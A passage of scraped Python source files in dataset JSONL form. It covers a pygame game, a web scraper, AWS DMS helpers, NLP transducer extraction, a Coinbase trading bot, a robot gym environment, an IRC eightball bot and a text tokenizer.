SCORE_TEXT_RECT.w/2 , RESOLUTION[1]/3 + .2 * RESOLUTION[AXIS_Y]))\n\n #Event listener for a key press\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n break\n if event.type == pygame.KEYDOWN:\n #If any key are pressed, restart the game\n del player\n player = Player()\n gameOver = False\n score = 0\n player.direction = None\n break\n\n pygame.display.flip() #Update the screen","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"249864354","text":"\nimport requests\nfrom bs4 import BeautifulSoup\n\nclass WebInfo(object):\n\n\tdef __init__(self, site_url):\n\t\t'''\n\t\tthis class is a constructor\n\t\tArgs:\n\t\t\turls_list(list) : is a list that contains all urls\n\t\t\tsite_url(string): pure url without protocol\n\t\t\tresource_url(string) is a build url with protocol ethernet \n\t\t\tresponse: it a variavle of contains the download web (metas, head, body, status, etc)\n\t\t'''\n\t\tself.urls_list = ['youtube.com', 'facebook.com', 'twiter.com', 'microsoft.com']\n\t\tself.site_url = site_url\n\t\tself.resource_url = self.get_resource_url().strip(' ')\n\t\tself.response = requests.get(self.resource_url,\n\t\t\tallow_redirects=True,\n\t\t\tverify=True,\n\t\t\tstream=True)\n\t\tself.soup = BeautifulSoup(self.response.text, \"html.parser\")\n\t\t\n\t\tself.resultados = []\n\t\t\n\t\t\n\tdef get_resource_url(self):\n\t\traise NotImplementedError\n\tdef get_result(self):\n\t\traise NotImplementedError","sub_path":"web_info.py","file_name":"web_info.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"257165001","text":"from utility import Singleton\nfrom PyQt4.QtCore import QObject,pyqtSignal\nfrom PyQt4.QtGui import QDesktopServices,QApplication\nimport experimentresult\n\nimport glob\nimport os\nimport sys\nimport log\n \n\n@Singleton\nclass ExperimentResultCollection(QObject): \n resultExtension = '.xml' \n \n changed = pyqtSignal() \n extendedWith = pyqtSignal(object)\n \n def __init__(self):\n QObject.__init__(self)\n self.experimentResults = [] \n \n self.resultPath = os.path.join(str(QDesktopServices.storageLocation(QDesktopServices.DocumentsLocation)),'EmcTestbench/')\n if not os.path.exists(self.resultPath):\n os.mkdir(self.resultPath)\n \n \n def __getitem__(self,key):\n return self.experimentResults[key]\n def refresh(self):\n self.experimentResults = []\n for fileName in glob.glob(self.resultPath+'*'+self.resultExtension):\n try:\n experimentresult.ExperimentResult.loadFromFileSystem(fileName)\n except:\n log.LogItem('Error while reading {fileName}: {errorMessage}'.format(fileName=fileName,errorMessage=sys.exc_info()[1]),log.error)\n raise \n def append(self,newExperimentResult):\n self.experimentResults.append(newExperimentResult)\n self.extendedWith.emit(newExperimentResult)\n self.changed.emit()\n \nif __name__ == '__main__':\n# ExperimentResult.loadFromFileSystem('Direct Power Injection 20120509-174045')\n ExperimentResultCollection.Instance().refresh()\n# class DummyExperiment:\n# name = 'DummyExperiment'\n# dummyExperiment = DummyExperiment()\n# print dummyExperiment\n# ExperimentResult(dummyExperiment,3)\n# print ExperimentResultCollection.Instance().results[0].experiment\n","sub_path":"src/gui/experimentresultcollection.py","file_name":"experimentresultcollection.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"535102206","text":"import boto3\nimport datetime\nimport cx_Oracle\n\ndef createendpt(edpname, ntype, user, dbpass, dbserver,dbport,dbname):\n client = boto3.client ('dms')\n response = client.create_endpoint (EndpointIdentifier='string',\n EndpointType=ntype,\n EngineName=edpname,\n Username=user,\n password=dbpass,\n ServerName =dbserver,\n Port =dbport,\n DatabaseName =dbname,\n Tags = [\n {\n 'Key': 'name',\n 'Value': \"ntype\"\n },\n {\n 'Key': 'database',\n 'Value': \"dbname\"\n },\n ]\n\n )\n return response\n\ndef createreplinstance(replname,AZone):\n client = boto3.client ('dms')\n response = client.create_replication_instance (\n ReplicationInstanceIdentifier=replname,\n AllocatedStorage=100,\n AvailabilityZone=AZone,\n MultiAZ='False',\n EngineVersion='dms.c4.4xlarge',\n )\n\ndef createrepltask(replname,repltaskname,sedpname,tedpname):\n client = boto3.client ('dms')\n response = client.create_replication_task (\n ReplicationTaskIdentifier=repltaskname,\n SourceEndpointArn=sedpname,\n TargetEndpointArn=tedpname,\n ReplicationInstanceArn=replname,\n MigrationType='full-load-and-cdc',\n # TableMappings='string',\n #ReplicationTaskSettings='string',\n CdcStartTime=datetime.time,\n Tags=[\n dict (Key='name', Value=\"repltaskname\"),\n ]\n )\n\ndef startrepltask(repltaskname,mode='resume-processing'):\n client = boto3.client ('dms')\n response = client.start_replication_task (\n ReplicationTaskArn=repltaskname,\n StartReplicationTaskType=mode #'start-replication' | 'resume-processing' | 'reload-target'\n )\n\n\ndef stoprepltask(repltaskname):\n client = boto3.client ('dms')\n response = client.stop_replication_task(\n ReplicationTaskArn=repltaskname\n)\n\ndef main():\n print('aa')\n\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"AWS/oracledms.py","file_name":"oracledms.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"216751462","text":"#!/usr/bin/python\n\nimport itertools\nfrom linguistics.linguistic_tools import LinguisticRelationship\nfrom utils.tools_generic_transducer import *\n\n# Obtain transductions of pre-terminals in terms of\n# the linguistic characteristics between the token they have as a child,\n# and the words that appear in the target sentence. E.g.\n# tree_string = u'NP(JJ(bad) NN(boy))'\n# target_words = ['good', 'man']\n# ObtainLinguisticTransductions(tree_string, target_words, 0) returns\n# [u'q0.JJ(x0:) -> antonym.x0', u'q0.NN(x0:) -> hyponym.x0']\ndef ObtainLinguisticTransductions(tree_string, target_words, state_number):\n transductions = []\n preterminals = ObtainPreTerminalsFromTreeString(tree_string)\n for (preterminal, source_word) in preterminals:\n for target_word in target_words:\n relationships = LinguisticRelationship(source_word, target_word)\n transductions.extend(['q' + str(state_number) + '.' + preterminal + \\\n '(x0:) -> ' + r + '.x0' for r in relationships])\n transductions.extend([r + '.' + source_word + ' -> ' + target_word \\\n for r in relationships])\n return transductions\n\n# Obtains the set of terminal transductions, which are every possible translation\n# from a word in the source side that does not appear in the target side, to\n# words in the target side that do not appear in the source side.\n# The output is a set of the form:\n# set(['t.the -> house', 't.the -> ball', ...]) but not set(['t.the -> the', ...])\ndef ObtainSubstitutionTransductions(tree_string, target_words):\n transductions = set()\n source_words = ObtainWordsFromTreeString(tree_string)\n source_words_not_in_target = set(source_words).difference(set(target_words))\n target_words_not_in_source = set(target_words).difference(set(source_words))\n for element in itertools.product(source_words_not_in_target, \\\n target_words_not_in_source):\n transductions.add('t.' + ' -> '.join(element))\n return transductions\n\n# Creates the left hand side of a production rule, given a dictionary\n# containing a tree or a forest, and the root.\n# The left hand side will have the form\n# state_nameState_number.ROOT(x0:child1 x1:child2 ...)\n# if we are at a non-terminal node.\ndef ObtainLeftHandSide(tree, root, state_name = 'q', state_number = ''):\n if type(tree) is not dict:\n return None\n (non_terminal, number) = root\n if type(tree[root]) is not dict:\n # This contains the single element list [(u'', 0)], and become q.DT(x0:)\n children = [(u'', 0)]\n else:\n children = tree[root].keys()\n children.sort(key = lambda x: x[1])\n # This produces a list like [u'x0:NP', u'x1:VP']\n # which will be on the left hand side of production rules. E.g.\n # q.S(x0:NP x1:VP)\n typed_variables = ['x' + str(x[1]) + ':' + x[0] for x in children]\n # Create the left-hand-side with variables. E.g. q.S(x0:NP x1:VP)\n left_hand_side = state_name + str(state_number) + '.' + non_terminal +\\\n '(' + ' '.join(typed_variables) + ')'\n return left_hand_side\n\n# Given a node in the tree (e.g. NP(DT(the) NN(house))), it will create\n# all possible transitions that introduce a variable between branches. E.g.\n# [q.x0 q.x1, new.x0 q.x0 q.x1, q.x0 new.x0 q.x1, q.x0 new.x1 q.x1, q.x0 q.x1 new.x1] \ndef ObtainVariableInsertionsAtNonTerminal(tree, state_number = ''):\n if type(tree) is not dict:\n return None\n children = tree.keys()\n children.sort(key = lambda x: x[1])\n # This produces state.variable pairs that will be on the right hand side:\n # ['q.x0', 'q.x1']\n state_variables = ['q' + str(state_number) + '.x' + str(x[1]) for x in children]\n right_hand_sides = []\n # Add the no-insertion right hand side. E.g. q.x0 q.x1\n # right_hand_sides.append(' '.join(state_variables))\n # Create one right-hand-side for every possible insertion, such as:\n # [new.x0 q.x0 q.x1, q.x0 new.x0 q.x1, q.x0 new.x1 q.x1, q.x0 q.x1 new.x1]\n for i in range(0, len(state_variables) + 1):\n if i != 0:\n right_hand_sides.append(' '.join(state_variables[:i]) + \\\n ' new' + str(state_number) + '.x' +\n str(i - 1) + ' ' + ' '.join(state_variables[i:]))\n if i != len(state_variables):\n right_hand_sides.append(' '.join(state_variables[:i]) + \\\n ' new' + str(state_number) + '.x' +\n str(i) + ' ' + ' '.join(state_variables[i:]))\n right_hand_sides = map(lambda x: x.strip(), right_hand_sides)\n return right_hand_sides\n\n# 1. Obtain insertions for Non-terminals (variable insertions between branches).\n# 2. Obtain insertions for Non-terminals (token insertions + variable insertions)\n# 3. Obtain insertions for terminals (substitutions).\ndef ObtainInsertionTransductionsFromTree(tree, state_number):\n if type(tree) is not dict:\n return []\n transductions = []\n nodes = tree.keys()\n for node in nodes:\n left_hand_side = ObtainLeftHandSide(tree, node, 'q', state_number)\n if type(tree[node]) is not dict:\n right_hand_sides = [u't.x0']\n else:\n right_hand_sides = \\\n ObtainVariableInsertionsAtNonTerminal(tree[node], state_number)\n # Compose the transductions. E.g. q.S(x0:NP x1:VP) -> new.x0 q.x0 q.x1\n transductions.extend(\\\n [left_hand_side + ' -> ' + rhs for rhs in right_hand_sides])\n transductions_children = \\\n ObtainInsertionTransductionsFromTree(tree[node], state_number)\n transductions.extend(transductions_children)\n return transductions\n\n# Creates transductions of the form:\n# new.S(x0:NP x1:VP) -> *e* new.x0\n# new.S(x0:NP x1:VP) -> There new.x0\n# new.S(x0:NP x1:VP) -> There new.x1\n# new.the -> hola\ndef ObtainInsertionTransductionsFromPair(tree, target_words, state_number = ''):\n if type(tree) is not dict:\n return []\n transductions = []\n nodes = tree.keys()\n for node in nodes:\n left_hand_side = ObtainLeftHandSide(tree, node, 'new', state_number)\n if type(tree[node]) is not dict:\n right_hand_sides = target_words\n else:\n num_variables = CountVariables(left_hand_side)\n right_hand_sides = [word + u' new' + str(state_number) + '.x' + str(i) \\\n for word in target_words + [u'']\\\n for i in range(num_variables)]\n # Compose the transductions. E.g. q.S(x0:NP x1:VP) -> new.x0 q.x0 q.x1\n transductions.extend(\\\n [left_hand_side + ' -> ' + rhs for rhs in right_hand_sides])\n transductions_children = \\\n ObtainInsertionTransductionsFromPair(tree[node], target_words, state_number)\n transductions.extend(transductions_children)\n return list(set(transductions))\n\ndef ObtainInsertionTransductions(tree, target_words, state_number = ''):\n ts1 = set(ObtainInsertionTransductionsFromTree(tree, state_number))\n source_words = ObtainWordsFromTree(tree)\n target_words_not_in_source = \\\n ObtainWordsInTargetNotInSource(source_words, target_words)\n ts2 = set(ObtainInsertionTransductionsFromPair(tree, target_words_not_in_source, \\\n state_number))\n return ts1.union(ts2)\n\n# Token deletion transductions of the form:\n# t.word_i -> *e*\n# where word_i appears in the source side but not on the target side.\n# In paraphrases, it is possible that word_i is just substituted by another word\n# (and not necessarily deleted). Rules that consider substitutions are obtained\n# in the function \"ObtainSubstitutionTransductions\".\ndef ObtainTokenDeletionTransductions(tree_string, target_words):\n transductions = set()\n source_words = ObtainWordsFromTreeString(tree_string)\n source_words_not_in_target = set(source_words).difference(set(target_words))\n transductions.update(['t.' + word + ' -> *e*'\n for word in source_words_not_in_target])\n return transductions\n\n# Branch (non-terminal) deletion transductions of the form:\n# Non-terminal: q.S(x0:NP x1:VP) -> q.x0\n# q.S(x0:NP x1:VP) -> q.x1\n# q.S(x0:NP x1:VP) -> *e*\ndef ObtainDeletionTransductions(tree, state_number = ''):\n if type(tree) is not dict:\n return []\n transductions = []\n nodes = tree.keys()\n for node in nodes:\n left_hand_side = ObtainLeftHandSide(tree, node, 'q', state_number)\n if type(tree[node]) is not dict:\n # Deletion of pre-terminal branch.\n right_hand_sides = [u'*e*']\n elif CountVariables(left_hand_side) < 9:\n # Deletion of branches.\n num_variables = CountVariables(left_hand_side)\n variable_indices = range(num_variables)\n variable_subsets = map(list, powerset(variable_indices))\n # Create [u'q.x0', u'q.x1', u'q.x0 q.x1', u'q.x0 q.x2', etc] (3 variables).\n right_hand_sides = \\\n [' '.join(map(lambda x: u'q' + str(state_number) + '.x' + str(x), y)) \\\n for y in variable_subsets]\n right_hand_sides.append(u'*e*')\n else:\n right_hand_sides = [u'*e*']\n transductions.extend(\\\n [left_hand_side + ' -> ' + rhs for rhs in right_hand_sides])\n transductions_children = ObtainDeletionTransductions(tree[node], state_number)\n transductions.extend(transductions_children)\n return list(set(transductions)) # remove duplicates\n\ndef ObtainReorderingTransductions(tree, state_number = ''):\n if type(tree) is not dict:\n return []\n transductions = []\n nodes = tree.keys()\n for node in nodes:\n left_hand_side = ObtainLeftHandSide(tree, node, 'q', state_number)\n if type(tree[node]) is not dict:\n # Deletion of pre-terminal branch.\n right_hand_sides = []\n elif CountVariables(left_hand_side) < 6:\n num_variables = CountVariables(left_hand_side)\n variable_indices = range(num_variables)\n variable_subsets = map(list, itertools.permutations(variable_indices))\n # Create [u'q.x0 q.x1 q.x2', u'q.x0 q.x2 q.x1', etc] (3 variables).\n right_hand_sides = \\\n [' '.join(map(lambda x: u'q' + str(state_number) + '.x' + str(x), y)) \\\n for y in variable_subsets]\n else:\n right_hand_sides = []\n transductions.extend(\\\n [left_hand_side + ' -> ' + rhs for rhs in right_hand_sides])\n transductions_children = ObtainReorderingTransductions(tree[node], state_number)\n transductions.extend(transductions_children)\n return list(set(transductions)) # remove duplicates\n\n# Given a parse tree and a state number, obtains the identity transduction rules\n# q.Z(x0:XX x1:YY) -> q.x0 q.x1\n# q.Z(x0:XX x1:YY) -> q0.x0 q0.x1\n# q0.Z(x0:XX x1:YY) -> q0.x0 q0.x1\n# q0.Z(x0:XX x1:YY) -> q.x0 q.x1\n# where 0 is the state number that helps obtaining rules for this specific tree.\ndef ObtainIdentityTransductions(tree, state_number = ''):\n if type(tree) is not dict:\n return []\n transductions = []\n nodes = tree.keys()\n for node in nodes:\n left_hand_side_generic = ObtainLeftHandSide(tree, node, 'q')\n left_hand_side_specific = ObtainLeftHandSide(tree, node, 'q', state_number)\n if type(tree[node]) is not dict:\n transductions.append(left_hand_side_generic + ' -> t.x0')\n continue\n else:\n num_variables = CountVariables(left_hand_side_generic)\n variable_indices = range(num_variables)\n right_hand_side_generic = \\\n ' '.join([u'q.x' + str(x) for x in variable_indices])\n right_hand_side_specific = \\\n ' '.join([u'q' + str(state_number) + '.x' + str(x) for x in variable_indices])\n transductions.extend(\\\n [left_hand_side_generic + ' -> ' + right_hand_side_generic,\\\n left_hand_side_generic + ' -> ' + right_hand_side_specific,\\\n # left_hand_side_specific + ' -> ' + right_hand_side_generic,\\\n left_hand_side_specific + ' -> ' + right_hand_side_specific])\n transductions_children = ObtainIdentityTransductions(tree[node], state_number)\n transductions.extend(transductions_children)\n return list(set(transductions)) # remove duplicates\n\n# Obtain token identity transductions as:\n# t.token_i -> token_i\n# such that token_i is in both source and target words. E.g.\n# source = ['Bill', 'is', 'happy'], target = ['Bill', 'enjoys', 'life'], then\n# t.Bill -> Bill\ndef ObtainTokenIdentityTransductions(tree_string, target_words):\n transductions = set()\n source_words = ObtainWordsFromTreeString(tree_string)\n common_words = set(target_words).intersection(set(source_words))\n transductions.update(['t.' + word + ' -> ' + word for word in common_words])\n return transductions\n\n# For all pairs tree/strings from the corpus, extracts all types of transductions.\n# It returns a set of transductions (with unique elements).\ndef ObtainTransductionsFromCorpus(corpus):\n transductions = set()\n pair_number = 0\n for pair in corpus:\n # Format the tree/string pair.\n tree_string = pair[0]\n (tree, _) = ParseTreeString(tree_string)\n sentence_string = pair[1]\n target_words = sentence_string.split(' ')\n # Obtain identity transductions from tree.\n transductions.update(ObtainIdentityTransductions(tree, pair_number))\n # Obtain token identity transductions from pair.\n transductions.update(\\\n ObtainTokenIdentityTransductions(tree_string, target_words))\n # Obtain substitution transductions from pair.\n transductions.update(\\\n ObtainSubstitutionTransductions(tree_string, target_words))\n # Obtain insertion transductions from pair.\n transductions.update(\\\n ObtainInsertionTransductions(tree, target_words, pair_number))\n # Obtain deletion transductions from pair.\n transductions.update(ObtainDeletionTransductions(tree, pair_number))\n # Obtain token deletion transductions from pair.\n transductions.update(\\\n ObtainTokenDeletionTransductions(tree_string, target_words))\n # Obtain reordering transductions from pair.\n transductions.update(ObtainReorderingTransductions(tree, pair_number))\n # Obain linguistic transductions of pre-terminals.\n transductions.update(\\\n ObtainLinguisticTransductions(tree_string, target_words, pair_number))\n pair_number = pair_number + 1\n return transductions\n\n","sub_path":"extraction/tools_tree_to_string.py","file_name":"tools_tree_to_string.py","file_ext":"py","file_size_in_byte":13939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"354273577","text":"\nimport threading as thr\nimport coinbase.utils as coin_utils\nimport shared.directory_names as dn\nimport shared.calendar_utilities as cu\nimport coinbase.order_manager as om\nimport shared.log as lg\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\n\nclass Algo():\n\n client = coin_utils.get_coinbase_client()\n ticker = ''\n min_order_size = np.nan\n working_position = 0\n total_position = 0\n tick_pnl = 0\n entry_price = 0\n add_position = False\n past_candle_high = np.nan\n past_candle_low = np.nan\n open_orders = []\n target_order = ''\n stop_order = ''\n buy_order_price = np.nan\n sell_order_price = np.nan\n stop_price = np.nan\n target_price = np.nan\n frame5 = pd.DataFrame()\n range10min = np.nan\n range10max = np.nan\n log = lg.get_logger(file_identifier='crypto_scalper', log_level='INFO')\n\n frame_out = pd.DataFrame(client.get_products())\n\n selected_frame = frame_out[(frame_out['quote_currency'] == 'BTC') & (frame_out['base_currency'] == 'ETH')]\n quote_increment = float(selected_frame['quote_increment'].iloc[0])\n\n date_now = cu.get_doubledate()\n ta_folder = dn.get_dated_directory_extension(folder_date=date_now, ext='ta')\n\n trade_file = ta_folder + '/crypto_trade_dir_' + dt.datetime.now().strftime('%H%M') + '_.csv'\n\n with open(trade_file, 'a') as file:\n file.write('EntryTime,ExitTime,EntryPrice,ExitPrice,TickPnl')\n file.write('\\n')\n\n def periodic_call(self):\n\n try:\n order_book_out = self.client.get_product_order_book(self.ticker, level=1)\n except Exception as e:\n self.log.error(e)\n return\n\n current_best_bid = float(order_book_out[\"bids\"][0][0])\n current_best_ask = order_book_out[\"asks\"][0][0]\n\n range10_q = (100 * (current_best_bid - self.range10min) / (self.range10max - self.range10min))\n\n open_orders = self.open_orders\n\n for i in range(len(self.open_orders)):\n order_i = self.client.get_order(self.open_orders[i])\n\n if order_i[\"status\"] == \"done\":\n open_orders.remove(self.open_orders[i])\n if order_i[\"side\"] == \"buy\":\n self.working_position -= self.min_order_size\n self.sell_order_price = round(float(order_i[\"price\"]) + 5 * self.quote_increment, 5)\n\n order_out = om.send_post_only_limit_order(ticker=self.ticker, qty=-self.min_order_size, price=self.sell_order_price, client=self.client)\n\n if order_out['success']:\n open_orders.append(order_out[\"id\"])\n self.target_order = order_out[\"id\"]\n else:\n self.log.info('Unable to send a post only order exiting the algorithm...')\n exit()\n\n if order_i[\"side\"] == \"sell\":\n self.total_position -= self.min_order_size\n self.tick_pnl += (self.sell_order_price-self.buy_order_price)/self.quote_increment\n self.log.info('Realized tick pnl: ' + str(self.tick_pnl))\n\n # cancel the stop or limit order depending on which one got executed\n if order_i['id']==self.stop_order:\n self.stop_order = ''\n cancel_out = self.client.cancel_order(self.target_order)\n if type(cancel_out) == dict:\n self.log.info('Stop order was executed and no target order can be found')\n else:\n self.log.info('Stop order was executed and target order was cancelled')\n self.target_order = ''\n elif order_i['id'] == self.target_order:\n self.target_order = ''\n cancel_out = self.client.cancel_order(self.stop_order)\n if type(cancel_out) == dict:\n self.log.info('Target order was executed and no stop order can be found')\n else:\n self.log.info('Target order was executed and stop order was cancelled')\n self.stop_order = ''\n\n if order_i[\"status\"] == \"open\":\n if order_i[\"side\"] == \"buy\":\n if range10_q>50:\n cancel_out = self.client.cancel_order(order_i['id'])\n if type(cancel_out) == dict:\n self.log.info('No initial buy order can be found')\n else:\n self.log.info('Initial buy order is cancelled')\n open_orders.remove(order_i['id'])\n self.working_position -= self.min_order_size\n self.total_position -= self.min_order_size\n continue\n\n\n\n\n if self.buy_order_price<=current_best_bid-self.quote_increment:\n maintenance_out = om.maintain_competitive_level4limit_order(client=self.client,order=order_i,new_price_str=order_book_out[\"bids\"][0][0])\n if maintenance_out['status'] == 'order replaced':\n open_orders.remove(order_i['id'])\n open_orders.append(maintenance_out['new_order_id'])\n\n\n\n #cancel_out = self.client.cancel_order((self.open_orders[i]))\n #print('long cancellation details...')\n #print(cancel_out)\n #open_orders.remove(self.open_orders[i])\n #self.working_position -= self.min_order_size\n #self.total_position -= self.min_order_size\n if order_i[\"side\"] == \"sell\" and order_i[\"id\"] == self.stop_order:\n # make sure your stop order is competitive\n if float(order_i[\"price\"]) >= current_best_ask + self.quote_increment:\n maintenance_out = om.maintain_competitive_level4limit_order(client=self.client, order=order_i, new_price_str=order_book_out[\"asks\"][0][0])\n if maintenance_out['status'] == 'order replaced':\n open_orders.remove(order_i['id'])\n open_orders.append(maintenance_out['new_order_id'])\n\n\n self.client.cancel_order((self.stop_order))\n open_orders.remove(self.stop_order)\n order_out = self.client.place_limit_order(product_id=self.ticker, side='sell',price=str(current_best_ask),size=str(self.min_order_size), post_only=True)\n self.log.info(\"Stop loss adjusted\")\n open_orders.append(order_out[\"id\"])\n self.stop_order = maintenance_out['new_order_id']\n\n self.open_orders = open_orders\n\n #print(self.client.get_time())\n #print(dt.datetime.now())\n\n time_str = dt.datetime.now().strftime('%H:%M:%S')\n\n\n print(time_str + ' range10q: ' + str(range10_q) + ', current best bid: ' + str(current_best_bid) + ', past candle high: ' + str(self.past_candle_high))\n\n self.log.info(time_str + ' range10q: ' + str(range10_q) + ', current best bid: ' + str(current_best_bid) + ', past candle high: ' + str(self.past_candle_high))\n\n if current_best_bid>self.past_candle_high and range10_q<30:\n if not self.add_position:\n self.add_position = True\n self.log.info('Buy signal triggered')\n print('Buy signal triggered')\n\n if current_best_bid50:\n if self.add_position:\n self.add_position = False\n self.log.info('Buy signal removed')\n\n if self.total_position= self._max_episode_steps, {}\n return self._obs,rew, self._num_steps >= self._max_episode_steps, {}\n\n def _get_goal(self):\n \n if self._valid_goal:\n # for valid goal we will sample through joint angles\n random_joint = self._get_Goal()\n# random_joint = random.random()*(np.random.rand(self._action_dim) - 0.5) * np.radians(180)\n\n# random_joint = (1*np.random.rand(self._action_dim)) * np.radians(180)\n for i in range(self._action_dim):\n self._p.resetJointState(bodyUniqueId=self._sim_robot,\n jointIndex=i + self._joint_start,\n targetValue=random_joint[i])\n\n # the [x,y,z] reached by the co-ordinate becomes the goal wrt to world origin\n goal = self._get_position()\n \n # reset back to the zero angles\n start_joint = self._get_start()\n for i in range(self._action_dim):\n self._p.resetJointState(bodyUniqueId=self._sim_robot,\n jointIndex=i + self._joint_start,\n targetValue=start_joint[i])\n\n else:\n # random goals\n pos = self._p.getLinkState(self._sim_robot, self._joint_start)[-2]\n goal = [np.random.rand() - 0.5 + pos[0],\n np.random.rand() - 0.5 + pos[1],\n 0.5 * np.random.rand() + pos[2]]\n # to see where is the goal\n if self._renders:\n self._p.addUserDebugLine(lineFromXYZ=3 * [0],\n lineToXYZ=goal[:3],\n lineColorRGB=[0, 0, 1], lineWidth=10.0, lifeTime=0)\n\n return list(goal)\n \n\n def _get_joints(self):\n \n if self._use_real_robot:\n# joint_state = self._real_robot.arm.get_joint_angles().tolist()[:self._action_dim]\n joint_state = self._real_robot.get_joint_angles()[:self._action_dim] # edited\n joint_state = list(joint_state) # edited\n # for visualization\n for i in range(self._action_dim):\n self._p.resetJointState(bodyUniqueId=self._sim_robot,\n jointIndex=i + self._joint_start,\n targetValue=joint_state[i])\n else:\n joint_state = []\n for i in range(self._action_dim):\n joint_state.append(self._p.getJointState(bodyUniqueId=self._sim_robot,\n jointIndex=self._joint_start + i)[0])\n return joint_state\n\n def _get_position(self):\n \n pos = self._p.getLinkState(self._sim_robot, self._joint_start + self._action_dim)[-2]\n# orn = self._p.getEulerFromQuaternion(self._p.getLinkState(self._sim_robot, self._joint_start + self._action_dim)[-1])\n\n # to see where is the goal\n if self._renders:\n self._p.addUserDebugLine(lineFromXYZ=3 * [0],\n lineToXYZ=pos,\n lineColorRGB=[1, 0, 0], lineWidth=10.0, lifeTime=0.1)\n return pos\n\n def _cal_reward(self, a):\n pos = list(self._get_position())\n \n dist = np.linalg.norm(np.array(pos) - np.array(self._goal), ord=2)\n return dist, -3#0 - self._action_rew_coeff * np.mean(np.abs(a))\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def _detect_collision(self):\n num_collision_pt = len(self._p.getContactPoints())\n if num_collision_pt > self._num_collision_pt:\n self._num_collision_pt = num_collision_pt\n return True\n if self._collision and num_collision_pt == self._num_collision_pt:\n return True\n self._num_collision_pt = num_collision_pt\n return False\n def _get_ik(self,pos):\n \n joints = self._p.calculateInverseKinematics(self._sim_robot,endEffectorLinkIndex=7,targetPosition=pos[:3],targetOrientation=self._p.getQuaternionFromEuler(pos[3:]))\n return joints\n \n def _filter_goal(self):\n goal_xpos = np.random.uniform(0.2,0.8)\n goal_ypos = np.random.uniform(-0.8,0.8)\n while np.abs(goal_ypos) < 0.2:\n goal_ypos = np.random.uniform(-0.8,0.8)\n goal_zpos = np.random.uniform(-0.8,0.4)\n goal_orn = self._goal_orient[random.randint(0,9)]\n# goal_orn =self._sim_robot.getQuaternionFromEuler(goal_orn)\n return (goal_xpos,goal_ypos,goal_zpos)+tuple(goal_orn)\n \n def _filter_start(self):\n goal_xpos = np.random.uniform(0.2,0.8)\n goal_ypos = np.random.uniform(-0.8,0.8)\n while np.abs(goal_ypos) < 0.2:\n goal_ypos = np.random.uniform(-0.8,0.8)\n goal_zpos = np.random.uniform(-0.8,0.4)\n goal_orn = self._start_orient[random.randint(0,9)]\n# goal_orn =self._sim_robot.getQuaternionFromEuler(goal_orn)\n return (goal_xpos,goal_ypos,goal_zpos)+tuple(goal_orn)\n \n def _get_start(self):\n self._start = self._get_ik(self._filter_start())\n return list(self._start)\n \n def _get_Goal(self):\n self._goal = self._get_ik(self._filter_goal())\n return list(self._goal)\n\n \n","sub_path":"RL-manipulator/sim2real_new/envs/ur_Env/gym_env.py","file_name":"gym_env.py","file_ext":"py","file_size_in_byte":13085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"541408175","text":"\n\"\"\"\nsupport a .ipython/user directory for user files\n\"\"\"\n\n__all__ = []\n\nfrom ..session_logs import logger\nlogger.info(__file__)\n\n# import IPython.paths\nimport os\nimport sys\n\nuser_dir = os.path.join(\n # IPython.paths.get_ipython_dir(), \n os.path.abspath(\n os.path.join(\n os.path.dirname(__file__),\n \"..\",\n \"..\",\n \"..\",\n \"..\",\n \"user\",\n )\n )\n)\nif os.path.exists(user_dir):\n sys.path.append(user_dir)\n logger.info(f\"User code directory: {user_dir}\")\ndel user_dir\n","sub_path":"templates/profile_bluesky/startup/instrument/framework/user_dir.py","file_name":"user_dir.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"460764473","text":"\"\"\"\r\nBot Module: Eightball\r\n\r\nProvides a simple eightball thingy\r\n\"\"\"\r\n\r\nfrom BotModule import BotModule\r\nimport random\r\n\r\ndef eightball_funct(self, user, channel, args):\r\n\tresponses=[\"It is certain\",\r\n\t \"It is decidedly so\",\r\n\t \"Without a doubt\",\r\n\t \"Yes - definitely\",\r\n\t \"You may rely on it\",\r\n\t \"As I see it, yes\",\r\n\t \"Most likely\",\r\n\t \"Outlook good\",\r\n\t \"Signs point to yes\",\r\n\t \"Yes\",\r\n\t \"Reply hazy, try again\",\r\n\t \"Ask again later\",\r\n\t \"Better not tell you now\",\r\n\t \"Cannot predict now\",\r\n\t \"Concentrate and ask again\",\r\n\t \"Don't count on it\",\r\n\t \"My reply is no\",\r\n\t \"My sources say no\",\r\n\t \"Outlook not so good\",\r\n\t \"Very doubtful\",\r\n\t \"FUCK YOU!\"]\r\n\t\r\n\tresponse = random.choice(responses)\r\n\tuser_nick = user.split(\"!\", 1)[0]\r\n\tself.msg(channel, \"{0}: {1}\".format(user_nick, response))\r\n\t\r\neightball = BotModule({'8ball': eightball_funct})\r\n\r\n","sub_path":"modules/eightball.py","file_name":"eightball.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"138112389","text":"from sqlalchemy import create_engine\nimport pandas as pd\nimport re\nimport nltk\nnltk.download(['punkt', 'wordnet', 'averaged_perceptron_tagger', 'stopwords'])\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords, wordnet\nimport pickle\n\ndef tokenize(text, keep_stopwords=True):\n \"\"\"\n Tokenization function to process data\n remove urls, special symbols, stopwords, lemmatize tokens, convert all to\n lowercase and remove excess whitespaces\n Args:\n text (numpy array): text sentences\n keep_stopwords (boolean): whether to keep or remove stopwords\n Returns:\n 